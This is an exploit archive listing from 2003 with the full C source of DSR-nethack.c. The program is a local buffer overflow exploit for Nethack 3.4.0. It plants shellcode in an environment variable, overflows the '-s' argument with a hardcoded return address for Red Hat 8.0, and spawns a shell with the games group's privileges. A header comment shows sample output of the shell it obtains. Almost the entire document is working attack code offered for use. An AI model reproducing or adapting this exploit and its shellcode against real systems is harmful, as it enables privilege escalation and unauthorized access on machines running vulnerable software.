exploit the possibilities

DSR-nethack.c

DSR-nethack.c
Posted Feb 20, 2003
Authored by Bob | Site dtors.net

Nethack v3.4.0 local buffer overflow exploit which spawns a shell as uid=games. Runs /usr/games/lib/nethackdir/nethack.

tags | exploit, overflow, shell, local
SHA-256 | d36c9676766104ed6f0e30024d355ec827f58589e60d86e963361827c6ef5db0

DSR-nethack.c

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/* DSR-nethack.c by bob@dtors.net
* Vulnerbility Found by tsao.
*
* Local BufferOverflow that leads
* to elevated privileges [games].
*
* Basic PoC code...nothing special.
*[bob@dtors bob]$ ./DSR-nethack
*
* DSR-nethack.c By bob.
* Local Exploit for Nethack 3.4.0
* DSR-[www.dtors.net]-DSR
*
* ret: 0xbffffd86
*
* Cannot find any current entries for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA†ýÿ¿
* Usage: nethack -s [-v] <playertypes> [maxrank] [playernames]
* Player types are: [-p role] [-r race]
* sh-2.05b$ id -a
* uid=12(games) gid=501(bob) groups=501(bob)
* sh-2.05b$
*
* www.dtors.net // www.b0f.net
*/
#include <stdio.h>

char shellcode[]= /* shellcode by bob */
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" //minus
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";


int main ()
{


unsigned long ret = 0xbffffd86; //Redhat 8.0 i386

char buf[224];
char smeg[1024];
char *ptr;
int i=0;

fprintf(stdout, "\n\tDSR-nethack.c By bob.\n");
fprintf(stdout, "Local Exploit for Nethack 3.4.0\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");

memset(buf, 0x41, sizeof(buf));

ptr = smeg;

for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = 0x90;
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
smeg[1024 - 1] = '\0'; //null byte

memcpy(smeg,"EGG=",4);
putenv(smeg);

buf[220] = (ret & 0x000000ff);
buf[221] = (ret & 0x0000ff00) >> 8;
buf[222] = (ret & 0x00ff0000) >> 16;
buf[223] = (ret & 0xff000000) >> 24;
buf[224] = '\0';

fprintf(stdout,"ret: 0x%08x\n",ret);


execl("/usr/games/lib/nethackdir/nethack", "nethack", "-s", buf, NULL); //weeoooweeeeooowooo
return 0;
}

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